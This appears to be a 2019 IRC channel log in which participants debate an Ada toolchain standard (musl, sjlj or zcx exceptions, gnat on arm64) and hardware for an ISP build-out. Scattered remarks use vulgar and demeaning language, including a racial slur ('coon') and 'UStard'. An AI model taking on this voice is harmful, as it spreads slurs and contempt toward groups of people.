only instance of this kinda thing. consider e.g. https://archive.is/MxPlA#selection-14.407-2653.3 1897685;1550419266;asciilifeform;they didn't include a word x word mul that gives you both halves. why not ? 'oh not all irons have a mul instr.' 1897686;1550419277;asciilifeform;or 'can haz carry from add?' 'no, cuz not all irons HAVE carry flag' 1897687;1550419283;asciilifeform;it's an elementary babel. 1897688;1550419460;asciilifeform;asciilifeform's 1st step in writing ffa, recall, was to conceive of (and prove) an arithmetic workaround for above. that, right off the bat, cost ~10fold cpu. 1897689;1550419510;asciilifeform;( and when found that ~despite this~, http://www.loper-os.org/?p=2906 , was pant-shittingly hilarious, how koch still managed to be the tortoise in the race ) 1897690;1550419601;asciilifeform;this is rather like if 2 d00dz run, and the 1 carrying 100kg of lispmachine ends up winning. 1897691;1550419620;mircea_popescu;anyway, let's draw some quick possible approaches here. 1897692;1550419623;mircea_popescu;a. we make no standard, every man for his own, but : a.1. ada is the preferred language ; a.2. musl is the preferred standards provider ; a.3. zcx is the preferred exception mechanism ; a.4. static is the preferred build mode. this should come with a design process for candidates evaluation for standardization. 1897693;1550419623;mircea_popescu;b. ada-sjlj-musl-static is the standard, and we simply don't sign or use anything that doesn't live up to this. 1897694;1550419623;mircea_popescu;c. ada-?-musl-static is the standard, either zcx or sjlj is acceptable (mostly based on what threading philosophy one embraces), with an obvious preference for zcx if one doesn't thread. 1897695;1550419624;mircea_popescu;d. ada-zcx-musl-static is the standard for non-threaded programs, we don't standardize threading. 1897696;1550419626;mircea_popescu;e. something else (among which possible e.1. someone reads and implements dwarf properly ; e.2. someone picks a glibc to grandfather and dedicates himself to cleaning and fixing.) 1897697;1550419680;asciilifeform;re 'e', i can't picture what'd move anyone with two neurons to rub together to maintain a glibc, that'd be rather like starting a trb from prb 12 (or what is current one) 1897698;1550419697;mircea_popescu;can import glibc 3.x or w/e. 1897699;1550419720;asciilifeform;i dun see where drepperism wins in ~any~ version, vs. the ab initio and 10x moar compact musl. 1897700;1550419725;mircea_popescu;asciilifeform current one prolly v49, note how gcc went from 5 to 8 in 2 years. 1897701;1550419747;mircea_popescu;asciilifeform but it's not you who has to see, maybe someone sees, what. im certainly not sending you to e.2 1897702;1550419781;asciilifeform;mircea_popescu: cuntoo is arguably a realtime test lab for 'what does removing glibc from ~errything~ cost' 1897703;1550419792;asciilifeform;for instance, emacs has yet to be cured, as i understand 1897704;1550419793;mircea_popescu;so it is. 1897705;1550419811;mircea_popescu;asciilifeform i very much don't expect you want the prb 12 that is emacs. rewrite yes ? :D 1897706;1550419814;asciilifeform;'d' is arguably mis-statement of problem, a threadless proggy incorporates ~neither~ system 1897707;1550419848;asciilifeform;( as asciilifeform recently discovered re ffa. it dun thread, and gcc correctly snips out all pertinent coad ) 1897708;1550419850;mircea_popescu;asciilifeform still gotta build the ada environment ~with something~. 1897709;1550419857;asciilifeform;environment yes. 1897710;1550419861;mircea_popescu;it was short form for that. 1897711;1550419864;asciilifeform;aa 1897712;1550419904;asciilifeform;given this, asciilifeform would go with 'b' + 'we fix the breakages , both as-we-find-'em and proactively ' 1897713;1550419932;asciilifeform;rather than continuing in a babelized gnat with 'pick yer threader, pick yer stdlib' etc 1897714;1550419934;mircea_popescu;this pretty much bans glibc, from my unexpert cursory look it dun seem fixable for sjlj. 1897715;1550419959;asciilifeform;i banned it for all asciilifeform-powered efforts in 2015, and dun miss it. 1897716;1550419967;diana_coman;re glibc: until now I saw it as tolerated until full tmsr version (whatever that might be, i.e. owned glibc version or musl or whatever) 1897717;1550419982;mircea_popescu;diana_coman looks like it's going the way of cuntoo-ada-musl, no glibc. 1897718;1550420003;asciilifeform;diana_coman: the caveat is that i still dunhave a working cuntoo for all asciilifeform-operated irons; e.g. rk is still running barbaric old glibc gentoo 1897719;1550420003;diana_coman;it does seem precisely so, yes 1897720;1550420014;diana_coman;and asciilifeform beat me to it 1897721;1550420031;mircea_popescu;asciilifeform getting an aarch64 musl sjlj going will be a fun task. 1897722;1550420036;diana_coman;that's precisely why it was tolerated until now afaik: because all sorts not yet fully ported to anything tmsr 1897723;1550420040;asciilifeform;mircea_popescu: entirely. see 2d ago thrd. 1897724;1550420045;mircea_popescu;aha. 1897725;1550420066;mircea_popescu;(on both counts, lol) 1897726;1550420070;asciilifeform;i expect that i'm even doomed to open a book and see how the fuck arm64 worx. 1897727;1550420125;asciilifeform;mircea_popescu: fix of sjlj on arm64 is actually moar urgent than arm-cuntoo, cuz sanely build ( static-musl ) ~will~ run on glibcistic linux 1897728;1550420143;mircea_popescu;possibly, yeah. 1897729;1550420151;asciilifeform;( asciilifeform is for instance at this very moment sitting on a glibcistic gentoo box, but where all tmsr soft is musltronic ) 1897730;1550420237;*;diana_coman remembers that eulora client is 99% NON-tmsr 1897731;1550420286;asciilifeform;diana_coman gets the trooly hard nuts to crack ( which is why retained by s.mg for coin , neh ) 1897732;1550420320;asciilifeform;( asciilifeform also maintains multi-MB 'non-tmsr' proggies. for orc dubloons. it's how he eats ) 1897733;1550420353;diana_coman;to my mind option b has the benefit that it concentrates the effort in the right direction at least 1897734;1550420365;asciilifeform;( the less said on the subj, the better, tho, my appetite already ruined by thinkin' about it ) 1897735;1550420444;asciilifeform;diana_coman: if it aint a seekrit: didja ever try building client on musl ? 1897736;1550420454;diana_coman;asciilifeform, honestly, all I wanted was this game! lol 1897737;1550420463;asciilifeform;heh 1897738;1550420479;diana_coman;asciilifeform, no, but obv I will have to not try but do it 1897739;1550420497;asciilifeform;rrright, was curious re the volume of barfola 1897740;1550420515;asciilifeform;( e.g. asciilifeform was quite surprised when found that trb and ALL deps built cleanly & functioned on static musl ) 1897741;1550420520;asciilifeform;with ~0 modification 1897742;1550420538;*;diana_coman has no curiosity on the topic: all pain at its time, not earlier 1897743;1550420546;asciilifeform;fair'nuff 1897744;1550420647;diana_coman;I don't know about option c i.e. whether there is something lost by going with it 1897745;1550420682;diana_coman;I guess the main thing against it would be that part where can't kill 1897746;1550420695;asciilifeform;diana_coman: the 1 use case i can picture for zcx, is on ultracompact irons. but even there, really, are we gonna use a http://btcbase.org/log/2019-02-12#1895612 somewhere ?! 1897747;1550420695;a111;Logged on 2019-02-12 23:41 asciilifeform: there's a lulzy 'pentagon standard' one, the name presently escapes me, iirc it is in the log tho 1897748;1550420746;asciilifeform;that being said, sjlj is apparently totally broken on arm gcc currently, and if want a threaded proggy on e.g. rk, currently stuck with zcx 1897749;1550420787;asciilifeform;( for killing processes, it is possible to e.g. use ada.interrupts system . but asciilifeform not yet tested ! ) 1897750;1550420816;asciilifeform;ada.interrupts ~will~ have to be tested, it's a must for 'bare irons' adaisms as a class. 1897751;1550420846;asciilifeform;( when build on unix -- it gets implemented as unix signals ) 1897752;1550420894;*;asciilifeform will brb : teatime. 1897753;1550421234;*;diana_coman considers eating treebark: ate it before, certainly better than eating glibc-barf 1897754;1550423732;mircea_popescu;http://btcbase.org/log/2019-02-17#1897739 << mostly benefit of correctly chosen version. no such wonder for eulora. 1897755;1550423732;a111;Logged on 2019-02-17 16:21 asciilifeform: rrright, was curious re the volume of barfola 1897756;1550423741;mircea_popescu;http://btcbase.org/log/2019-02-17#1897740 rather. 1897757;1550423741;a111;Logged on 2019-02-17 16:21 asciilifeform: ( e.g. asciilifeform was quite surprised when found that trb and ALL deps built cleanly & functioned on static musl ) 1897758;1550423792;mircea_popescu;http://btcbase.org/log/2019-02-17#1897750 << tested nothing. fixed, gotta be ada not c. 1897759;1550423792;a111;Logged on 2019-02-17 16:26 asciilifeform: ada.interrupts ~will~ have to be tested, it's a must for 'bare irons' adaisms as a class. 1897760;1550423946;mircea_popescu;also, subtle point in http://btcbase.org/log/2019-02-17#1897708 bears belabouring : the point is to standardize ~the tools~, not necessarily (in order) their usage, or end products. the idea is for user to know what to expect if builting a tmsr box, and why he expects that, not necessarily what he can do with it. 1897761;1550423946;a111;Logged on 2019-02-17 16:10 mircea_popescu: asciilifeform still gotta build the ada environment ~with something~. 1897762;1550423980;mircea_popescu;he can use it to crush hymenoptera for all i care, just as long as it contains the correct set of software. 1897763;1550425046;asciilifeform;mircea_popescu: plox to expand re http://btcbase.org/log/2019-02-17#1897758 1897764;1550425046;a111;Logged on 2019-02-17 17:16 mircea_popescu: http://btcbase.org/log/2019-02-17#1897750 << tested nothing. fixed, gotta be ada not c. 1897765;1550425151;asciilifeform;possibly i oughta add the detail, that $item is like any other machine i/o-ism -- on bare irons, it writes to the irq table ( whatever shape that has on $irons ) , on unixen it yes uses signals, because wtf else can you do there, on (hypothetical) msdos gnat, will again write to irq table, on boxen without interrupts -- will give eggog on build, what else; etc 1897766;1550425393;asciilifeform;( incidentally, when asciilifeform speaks of 'iron babel', interrupts are a screamingly concrete example : there is ~no uniformity b/w archs re how they're implemented (does it save regs ? which ? what happens if two interrupts temporally near ? ) or how many , or for what devices, etc ) 1897767;1550425493;asciilifeform;old msdos hands will recall setting jumpers for e.g. 'soundblaster' irq etc 1897768;1550425495;asciilifeform;and conflicts. 1897769;1550425528;asciilifeform;this was 'fixed' by intel (with obscene amt of direct standard authorship by microshit) by making the controller 9000x moar complex 1897770;1550425533;asciilifeform;aka 'plug and pray' 1897771;1550425603;asciilifeform;'younger' archs that were baked with decent # of interrupts to begin with, have ~slightly~ less retarded subsystem 1897772;1550425660;asciilifeform;afaik none of'em, however (with possible exception of sgi's) have semantics such that multiple processors dun share a bottleneck at the interrupt controller 1897773;1550425690;asciilifeform;( ever wonder why cannot make 'unhangable' os for multi-cpu pc ? this is why ) 1897774;1550426307;asciilifeform;all of this might seem uninteresting until you realize that this is what sits under all threading, no matter how implemented on os side. 1897775;1550426459;asciilifeform;( the very need for locking, on software level, for instance, comes from the absence of any sane mechanism for corralling data to particular cpu ) 1897776;1550426641;asciilifeform;concretely -- on sane iron, cpu do not share memory, but instead implement exactly diana_coman's work-queue mechanism. 1897777;1550426647;*;asciilifeform brb,meat 1897778;1550430189;feedbot;http://qntra.net/2019/02/chicago-actor-hired-nigerian-brothers-to-stage-hate-crime-hoax-indignant-at-getting-caught/ << Qntra -- Chicago Actor Hired Nigerian Brothers To Stage Hate Crime Hoax, Indignant At Getting Caught 1897779;1550441691;mircea_popescu;http://btcbase.org/log/2019-02-17#1897763 << currently ada depends on a layer of c to do basic things such as abort. this can not stand, esp if we want an ada machine. that writing to irq table will have to happen through ada code, not calling c. 1897780;1550441691;a111;Logged on 2019-02-17 17:37 asciilifeform: mircea_popescu: plox to expand re http://btcbase.org/log/2019-02-17#1897758 1897781;1550442492;feedbot;http://pizarroisp.net/2019/02/17/pizarro-isp-february-17th-update/ << PizarroISP -- Pizarro ISP February 17th Update 1897782;1550442507;BingoBoingo;In old log gems http://btcbase.org/log/2012-09-16#-267555 http://btcbase.org/log/2012-09-16#-267554 1897783;1550442507;a111;Logged on 2012-09-16 00:43 Bane_Capital: mircea_popescu: Well, I wish people would educate me instead of just beating on me. 1897784;1550442507;a111;Logged on 2012-09-16 00:43 mircea_popescu: this is how we educate kids in europe 1897785;1550442529;mircea_popescu;keks 1897786;1550442575;*;mircea_popescu hasn't even the faintest who dood even was 1897787;1550442714;BingoBoingo;Apparently a UStard seriously underestimating what he paid in total taxes 1897788;1550443006;BingoBoingo;Anyways, All these names that had burned out completely before I showed up a few months later. History! 1897789;1550443130;asciilifeform;mircea_popescu: by far biggest 'layer of c' is : the kernel. 1897790;1550443139;mircea_popescu;true. 1897791;1550443151;mircea_popescu;i suspect ada machine can be made with much tinier kernel tho. 1897792;1550443156;mircea_popescu;so do you. 1897793;1550443168;asciilifeform;i'm still curious what mircea_popescu thinks of as 'ada machine' 1897794;1550443201;mircea_popescu;me too. 1897795;1550443217;asciilifeform;heh 1897796;1550443293;asciilifeform;BingoBoingo: http://pizarroisp.net/2019/02/17/pizarro-isp-february-17th-update/#selection-53.0-53.109 sounds interesting 1897797;1550443306;asciilifeform;is this actually in the worx ? or still chalkboard 1897798;1550443515;asciilifeform;mircea_popescu: thinking about it, kernel is really the starting point for 'get c the hell off the box' -- the e.g. 20% of gnat's standard lib that's in c, is in c strictly cuz of reason illustrate in http://btcbase.org/patches?patchset=udp , i.e. that kernel api doesn't eat sane (e.g. bounded array) parameters, demands liquishit c-istic buffers 1897799;1550443561;mircea_popescu;entirely possible we'll have to do kernel-and-rest in one gulp 1897800;1550443573;asciilifeform;seems like it. 1897801;1550443576;mircea_popescu;though if possible, i'd just move the wrappers to ada first. 1897802;1550443597;mircea_popescu;one advantage to c's retardation is that well... as long as you feed it the shit it expects, it'll work in the same manner as before. 1897803;1550443605;asciilifeform;i linked the udp thing for a reason -- wrappers inescapably look like 'chunk of c', cuz headerola. 1897804;1550443623;BingoBoingo;asciilifeform: I'm "knocking" on a few doors. The "polite way" hasn't been very productive, so the rapeful way is appearing very necessary. Haven't hear anything from the "Proud Boys", excess of ego appears to be a defect of the dwindling population of forum operators. 1897805;1550443645;asciilifeform;BingoBoingo: mircea_popescu did say. 1897806;1550443652;BingoBoingo;asciilifeform: Indeed 1897807;1550443710;BingoBoingo;A large number of the folks who did or in the past would have started a forum are in the Google/Youtube hugbox or similar "watermelon farms" 1897808;1550443756;BingoBoingo;Bizarre Characters gotta wank it 1897809;1550443846;asciilifeform;mircea_popescu: the other major chunk of c, is of course the gcc backend. 1897810;1550443852;asciilifeform;( gnat dun have own back end, and afaik never did ) 1897811;1550443866;asciilifeform;y'know, the part that actually pisses out e.g. x86 instrs. 1897812;1550443876;asciilifeform;( locking bugs & all ) 1897813;1550443949;*;asciilifeform brb,meatsystems 1897814;1550443990;BingoBoingo; i'm still curious what mircea_popescu thinks of as 'ada machine' << 128 bit MIPS 1, 2, 8, or 72 cores at 800, 1600, or 3200 mhz when purpose backed. Otherwise 128 bit for the UCI address space. 1897815;1550444267;BingoBoingo;That's all I've got to guess atm 1897816;1550445849;mircea_popescu;myeah. 1897817;1550445894;mircea_popescu;actually ada not having a backend can (and probably will) hide all sorta surprises. 1897818;1550446838;asciilifeform;funnily enuff, i suspect there are a grand total of ~two~ ada back ends in existence : 1) the Official adacorpse one , sewed out of gcc ( the 'fsf gnat' is simply old copy of same ) 1897819;1550446842;asciilifeform;2) bolix's 1897820;1550446864;mircea_popescu;except latter only works for their own iron. 1897821;1550446867;asciilifeform;could propose that there is a (3) , if one of the closed $maxint winshit adas actually implemented own, rather than stealing gcc's 1897822;1550446875;asciilifeform;but i suspect ~those~ are all stolen gcc inside. 1897823;1550446882;mircea_popescu;seems probable. 1897824;1550446892;asciilifeform;mircea_popescu: potentially retargetable. but currently nfi if this is a useful shortcut to 'bake a backend' 1897825;1550446906;mircea_popescu;myeah. 1897826;1550446909;asciilifeform;at the very least, theirs is 50x moar compact than gcc. 1897827;1550446915;asciilifeform;(i.e. ~readable) 1897828;1550446953;mircea_popescu;problem with all this is -- the option's always between trust and knowledge. since we've discovered we can't trust gcc, it follows not only that we now have to write our own ; but that we must maintain the people who know how to write one. 1897829;1550446970;asciilifeform;( for n00bz: ) writing a compiler back-end aint actually hard. asciilifeform & many many other folx, did it ~as homework~ , at school. the hard thing is writing a ~decent~ optimizing backend. 1897830;1550447005;asciilifeform;it's why ~errybody is using gcc's (incl. the folx pretending not to) 1897831;1550447127;asciilifeform;the other thing that makes backend a bitch is that ~100% of the work has to be done again and again, for each iron. 1897832;1550447166;asciilifeform;ftr much easier for a sane iron ( with small instruction set ) like mips, than for x86. 1897833;1550447348;asciilifeform;re bolix back end, i suspect it aint very useful as starting point, because was far ~too easy~ item , in that the iron per se was sane (i.e. performed bounds and type checks, so much of what gcc is stuck doing in soft, was unnecessary ) 1897834;1550447373;asciilifeform;if we had a sane iron, would be similarly easy to produce a back end ( and that's what asciilifeform thinks of as 'ada machine' ) 1897835;1550447385;asciilifeform;but presently we haven't such. 1897836;1550447653;asciilifeform;( this is where i point out, that the fabled 'sane iron' isn't simply a purely aesthetic win to ticke asciilifeform's aestheticles, but in fact substantially cuts down on the complexity of ~all other sane items~ that are to stand on top of it ) 1897837;1550447663;asciilifeform;*tickle 1897838;1550447748;*;asciilifeform brb,food 1897839;1550449364;BingoBoingo;http://trilema.com/2019/get-lost-dumbo/#selection-1953.0-1961.24 << His baby wouldn't happen to be left handed would he? 1897840;1550449741;mircea_popescu;myeah. 1897841;1550449789;mircea_popescu;BingoBoingo entirely possibru 1897842;1550449833;BingoBoingo;Guy sounds a lot like Jack, stuck trying to raise his wife's son. 1897843;1550449929;BingoBoingo;Or lacking the backbone to stand up to his wife's boyfriend. 1897844;1550457220;*;asciilifeform was in a public place where tv on the wall, and guess what was shown : mccain. apparently not dead enuff ( 'freshly uncrated' taped blather, near as i could tell. ) 1897845;1550458721;asciilifeform;http://btcbase.org/log/2019-02-17#1897404 << before this gets lost in the chaos of gcc vivisections -- spyked , would be interesting to pry apart the zips & deduplicate , see what the actual text mass adds up to 1897846;1550458721;a111;Logged on 2019-02-17 14:27 feedbot: http://thetarpit.org/posts/y05/084-gutenberg-ii.html << The Tar Pit -- gutenberg.org part zwei, a dissection 1897847;1550458744;*;asciilifeform expects that it'll fit, compressed, on 1 cd 1897848;1550458781;asciilifeform;... then can mirror ~that~, and fughet about the orig shitenberg 1897849;1550458876;asciilifeform;aaand it aint as anybody's making ~moar~ english lit. can be 100% static archive. 1897850;1550458936;asciilifeform;'hey do you have king lear?' 'lemme open the disk binder and look for 'the english', iirc it's next to 'the greeks' 1897851;1550459880;*;asciilifeform set up a rebuild of ave1 gnat (june) on dulap, with http://bvt-trace.net/2019/02/gnat-zero-cost-exceptions-and-asynchronous-task-aborting-part-2/comment-page-1/#selection-163.2-167.52 . tomorrow will see what came out of this. 1897852;1550459892;asciilifeform;( sjlj mode ) 1897853;1550463932;mircea_popescu;mccain, seriously. why not have him embalmed, "everliving emblem of roosocialism!!!" etc. 1897854;1550464239;asciilifeform;mummification is for dirty orcs, apparently; here , 'advanced', will instead have his 3d animated corpse 'speak' deep troofinesses 4evah 1897855;1550464353;mircea_popescu;maybe he could do a duet with michael. 1897856;1550464368;mircea_popescu;sorta sonny & cher in 3d. 1897857;1550467635;feedbot;http://trilema.com/2019/mamma-roma/ << Trilema -- Mamma Roma 1897858;1550470389;ave1;asciilifeform, the september version is not only static but also some download links fixing, http://btcbase.org/log/2019-02-18#1897851 1897859;1550470389;a111;Logged on 2019-02-18 03:18 asciilifeform set up a rebuild of ave1 gnat (june) on dulap, with http://bvt-trace.net/2019/02/gnat-zero-cost-exceptions-and-asynchronous-task-aborting-part-2/comment-page-1/#selection-163.2-167.52 . tomorrow will see what came out of this. 1897860;1550470470;ave1;also, I was working on the september version, but I'm currenlty stuck on the aarch64 port, something with the jmps, files being undefined etc. 1897861;1550471086;mircea_popescu;http://btcbase.org/log/2019-02-17#1897404 << -- >> https://ro.wikisource.org/wiki/O_inven%C8%9Bie_mare 1897862;1550471086;a111;Logged on 2019-02-17 14:27 feedbot: http://thetarpit.org/posts/y05/084-gutenberg-ii.html << The Tar Pit -- gutenberg.org part zwei, a dissection 1897863;1550480170;diana_coman;http://btcbase.org/log/2019-02-18#1897858 -> ah, so broken links were only in the older versions? anyway: ave1 please do me a favour and point any fetch/download scripts to a mirror of the stuff on your own website, there is no way around this. For one thing I'd much rather download from a republican site and for the other as experience has already amply shown, any external site WILL move them, change them, drop them and it will at best br 1897864;1550480170;a111;Logged on 2019-02-18 06:13 ave1: asciilifeform, the september version is not only static but also some download links fixing, http://btcbase.org/log/2019-02-18#1897851 1897865;1550480170;diana_coman;eak your scripts, at worst make it download something else. 1897866;1550494896;asciilifeform;ave1: i changed mine to work from local copy of the tars, back when first tested. is there anyffin else new in the sept. ver.? 1897867;1550507010;mircea_popescu;this is a good idea. put the hashes somewhere and there you go. 1897868;1550507091;asciilifeform;i'ma put whole thing in a signed manifest 1897869;1550507107;asciilifeform;sadly had to restart the experimental build ~2h ago, botched the config last night 1897870;1550507195;asciilifeform;strangely , the -j32 thing aint working for good chunk of the build, possibly dun apply to the bootstrap gnat..? 1897871;1550507208;asciilifeform;really this whole thing oughta take ~30m on dulap ( 32 cpu ) 1897872;1550507444;mircea_popescu;so why doesn't it ? 1897873;1550507485;asciilifeform;looking at the kilometre of bash that comes with the thing, for the answr 1897874;1550507548;asciilifeform;( the fact that diana_coman's built in ~1h, suggests that i broke my local config there ) 1897875;1550507559;mircea_popescu;possibru 1897876;1550507624;asciilifeform;mircea_popescu: this run is a test of bvt's 'kill weaksymbol-ism' pill 1897877;1550507662;mircea_popescu;it's such a wonder to me that thing links. 1897878;1550507682;asciilifeform;realized when i woke up that really oughta have first tried plain-old sjljistic ave1-gnat , and see if this cure is even necessary there 1897879;1550507687;asciilifeform;( will do after this one ) 1897880;1550507729;asciilifeform;mircea_popescu: it aint built yet, so cannot yet say 'it links' 1897881;1550507735;mircea_popescu;myeah. 1897882;1550507978;*;asciilifeform wonders if he's the only 1 who is disgusted at released opensores 'flagship' soft that builds with 9000km of warningolade 1897883;1550508182;mircea_popescu;the warning list prolly changes by machine. 1897884;1550508216;asciilifeform;they aint machinistic warnings. mostly 'uninited variable', 'missing sentinel', etc 1897885;1550508256;mircea_popescu;lol 1897886;1550510763;asciilifeform;aand it built. nao to see ~what~ built.. 1897887;1550511380;feedbot;http://trilema.com/2019/the-secret-of-santa-vittoria/ << Trilema -- The Secret of Santa Vittoria 1897888;1550511447;asciilifeform;result : builds with bvt's patch with 0 eggogs, his tarball test functions 100x w/out segfault 1897889;1550511467;asciilifeform;but this is with zcx. then went to build with sjlj, found, grr, that it : 1897890;1550511474;asciilifeform;gnat1: RTS path not valid: missing adainclude and adalib directories 1897891;1550511479;asciilifeform;despite both paths being set correctly 1897892;1550511493;asciilifeform;looking in the log, iirc diana_coman had same issue, & cured 1897893;1550511504;mircea_popescu;wunderbar 1897894;1550511533;asciilifeform;notyetwunderbar, still gotta 1) sjlj 2) try test w/ naked one and see if pill even necessary 1897895;1550511580;asciilifeform;not to mention 'test may reveal presence of bug, but never absence'(tm)(r) 1897896;1550511679;asciilifeform;would also like to see wtf i did to the -j32 thing 1897897;1550511692;asciilifeform;( currently it's a 4hr build, lol ) 1897898;1550511753;asciilifeform;and hrm, loox like we still dun have a genesis for this thing 1897899;1550511791;asciilifeform;ave1 are you gonna bake one ? someone's gotta, and i will with own hands if no one has it 1897900;1550511802;mircea_popescu;he should, really. 1897901;1550511815;asciilifeform;imho yes 1897902;1550513058;*;asciilifeform currently wonders why the fuck an aborted thread needs to unwind its stack frame by frame, it has no further biz in this world after it stops, so wtf even for, new thread gets entirely new stack 1897903;1550513109;asciilifeform;i can see that it might have to let go of any locks it holds, but what if holds none ? this is easily shown at compile time 1897904;1550517743;asciilifeform;meanwhile, in world of ancient warez finds : http://nosuchlabs.com/pub/warez/artek.zip << ada-83 compiler for msdos, circa 1987. 1897905;1550517844;asciilifeform;fits on floppy... 1897906;1550517923;bvt;hello. quick report: i bootstrapped avegnat using asciilifeform's tar (thanks!), had to change the the paths in linker scripts and la-files, will make a post on that. 1897907;1550517975;asciilifeform;neato 1897908;1550517976;bvt;ran the tests for exceptions race, libgcc is fine in gcc4.9, locks are in place, so it seems that it is indeed another gcc5ism 1897909;1550518002;asciilifeform;bvt: built with sjlj mode ? 1897910;1550518057;bvt;nope, zcx. sjlj can the next step 1897911;1550518092;asciilifeform;fwiw mine also worked ( i.e. didn't bomb in bvt't test ) on zcx. but not tried sjlj yet. 1897912;1550518116;asciilifeform;( as i understand, battlefield proggies will use sjlj moar or less exclusively ) 1897913;1550519261;mircea_popescu;bvt there's reasons we picked gcc 4.8/9 1897914;1550519587;mircea_popescu;incidentally re http://pizarroisp.net/2019/02/17/pizarro-isp-february-17th-update/#selection-45.0-45.26 -- you can't practically wait with this whole thing until either aarm64 is fixed or the aliens invade. what are you gonna do for capacity ? 1897915;1550519629;mircea_popescu;and i somehow still don't see the only item of any import in there, which kinda makes the whole list derisory. 1897916;1550519760;asciilifeform;BingoBoingo mircea_popescu has point : are you gonna produce a list of spammees, or just what is it you have hands full with, and asciilifeform has to dredge the net with own hands and halt all other work ? 1897917;1550519949;BingoBoingo;asciilifeform: I'll have a list of targets tonight 1897918;1550520008;asciilifeform;BingoBoingo: ty, would really like to see motion on this front asap 1897919;1550520022;asciilifeform;and would rather not have to do whole thing from scratch 1897920;1550521146;asciilifeform;re capacity : also needs discussion. currently considering rk array (1u), two x64 boxen of dulap type, and additionally a set of apu1d4 (see logs, or https://archive.is/8JBbH ) . 1897921;1550521170;asciilifeform;re rk -- not errybody is running ada proggy, and errything else appears to work quite well there. 1897922;1550521220;asciilifeform;in part the exact mix will depend on what BingoBoingo yields in terms of userbase prelim. hunt 1897923;1550521277;asciilifeform;and on what existing userbase says ( asciilifeform still ! waiting ! for any passengers ! to stand up, re http://btcbase.org/log/2019-01-15#1887214 . if none by end of this wk, i will assume there are none ! ) 1897924;1550521277;a111;Logged on 2019-01-15 15:32 asciilifeform: it is also time to speak of the next crate. and the customary four cargo slots. 1 is to contain a replacement for uy1 ( and ideally will run cuntoo . ) 1 will contain a 1u that holds rk's. this gives 2 1u slots remaining, they can be occupied by colo passengers, if these stand up and wish to ride , or pizarro irons, at BingoBoingo's option. 1897925;1550521358;asciilifeform;BingoBoingo: if no passengers stand up, crate will contain 100% piz buildout materiel . and would like your input on precisely what, also asap. 1897926;1550521668;asciilifeform;BingoBoingo: it is also my understanding that the new rk is presently idle. if this is still so, i'ma commandeer it for propaganda ops. lemme know. 1897927;1550521917;asciilifeform;BingoBoingo: plox to make use of mircea_popescu's suggested, in log, leads for the hunt, but do not limit to it 1897928;1550522017;*;asciilifeform bbl,meat 1897929;1550527649;mircea_popescu;asciilifeform your problem's open tho, what the heck are you gonna do, put up more arms we can't compile for ? put up something else ? 1897930;1550527692;mircea_popescu;if bitcoin were moar entrepreneurial we'd see stock price movement in pizarro whenever such events happened lol. 1897931;1550529284;BingoBoingo;asciilifeform: new rk is indeed idle 1897932;1550530685;BingoBoingo;http://p.bvulpes.com/pastes/Opg8n/?raw=true << asciilifeform Here's what I've sorted so far 1897933;1550531124;feedbot;http://trilema.com/2019/wild-is-the-wind/ << Trilema -- Wild is the Wind 1897934;1550531645;BingoBoingo;asciilifeform: What sort apu1d4 offers what sort of density to the Rack Unit not that we are revisiting x64 1897935;1550531721;BingoBoingo;6 or 8 to the 1U chasis? 1897936;1550532807;feedbot;http://bvt-trace.net/2019/02/gnat-zero-cost-exceptions-and-asynchronous-task-aborting-part-3/ << bvt's backtrace -- GNAT Zero Cost Exceptions and Asynchronous Task Aborting. Part 3. 1897937;1550532992;mircea_popescu;meanwhile in look what i found, http://trilema.com/2011/de-ce-se-duce-sua-de-ripa/ 1897938;1550533853;BingoBoingo;What a coon 1897939;1550533973;asciilifeform;BingoBoingo: ty, will take a look shortly, 1st would like to macroexpand mircea_popescu's point 1897940;1550534020;mircea_popescu;i was looking for that pic a whole ago, you know. "where's the one with the bunch of them huddled together like so manby peasantsa" 1897941;1550534053;mircea_popescu;possibly at the time of trump's washington dinner "humiliation". by whom, by this crop of the barn-born ? 1897942;1550534074;asciilifeform;what we have this wk, is a 'sjlj-gnat dun go on arm64'. i dun expect this is a permanent disease, but i do expect it'll take time to fix, esp. if asciilifeform has to do with own 2hands. until then, rk cluster is stuck with the obsolete compiler ( which runs e.g. 'lamp stack' and even zcx-gnat , but obv. won't run the emerging standard sjljistic one until fix. ) 1897943;1550534149;asciilifeform;so asciilifeform leans to installing a qty of x64 boxen of roughly same cost profile as rk ( but with added bonus that they eat sata drives ) : apu1. these also have bonus of published electrical schematic and custom asciilifeform bios from src. 1897944;1550534154;mircea_popescu;how many cores in the rk cpu ? 1897945;1550534163;asciilifeform;4 . 1897946;1550534184;asciilifeform;and in apu -- 2. but apu still cleans its clock for most processes, oddly enuff (tho not by large margin) 1897947;1550534212;asciilifeform;( this is somewhat of a black art, it is probably possible to come up with a benchmark where the rk wins ) 1897948;1550534217;mircea_popescu;well, doesn't seem like the end of the world, then, to say "this is the rk, has so and so list of advantages as before discussed (truly independend box, etc) and the one drawback meanwhile discovered that you can't really do tmsr-like threading in ada on it, which may be fixed later" 1897949;1550534224;asciilifeform;correct. 1897950;1550534227;mircea_popescu;doesn't seem like the end of the world to "can't thread properly" on a 4 core box. 1897951;1550534230;mircea_popescu;so nothing really lost here. 1897952;1550534260;asciilifeform;the apu loses on physical space ( it takes the sq. metrage of 6 rk , just by itself ) and cost ( +30% over rk ) aand naturally x86itude. 1897953;1550534269;*;mircea_popescu is satisfied. 1897954;1550534276;asciilifeform;mircea_popescu: i'd still like to see the arm64 wtf resolved 1897955;1550534279;asciilifeform;cuz srsly 1897956;1550534286;mircea_popescu;sure. 1897957;1550534296;mircea_popescu;but it's not actually seated on anyone's neck. 1897958;1550534330;asciilifeform;presently correct. 1897959;1550534351;asciilifeform;i.e. i won't be holding up the expedition for its fix. 1897960;1550534385;asciilifeform;mircea_popescu: apu wins substantially on 1 score -- it can eat ~3~ msata ssd's 1897961;1550534390;asciilifeform;and equipped with 3 GB nics. 1897962;1550534407;asciilifeform;( on rk, 0 and 1 respectively ) 1897963;1550534429;mircea_popescu;yeah, but... if you'rte gonna beef-server, might as well get a 32 core monster. 1897964;1550534444;asciilifeform;i also have an old and well-oiled toolchain for it, where can e.g. throw customer payload directly into rom, if desired 1897965;1550534459;mircea_popescu;basically there's not much room for middle here. either rk or else monster -- even things such as shared hosting are better off on large x86 server than a bunch of mid ones 1897966;1550534472;asciilifeform;mircea_popescu: apu is something rather like a x64 rk. 1897967;1550534485;mircea_popescu;aha. 1897968;1550534491;mircea_popescu;kinda my point. 1897969;1550534505;asciilifeform;( btw there was to be a demo unit of same in the 1st crate, but did not fit masswise ) 1897970;1550534509;BingoBoingo;APU can also be kitted to Gutenburg mirror with appropriate drives and ECC RAM 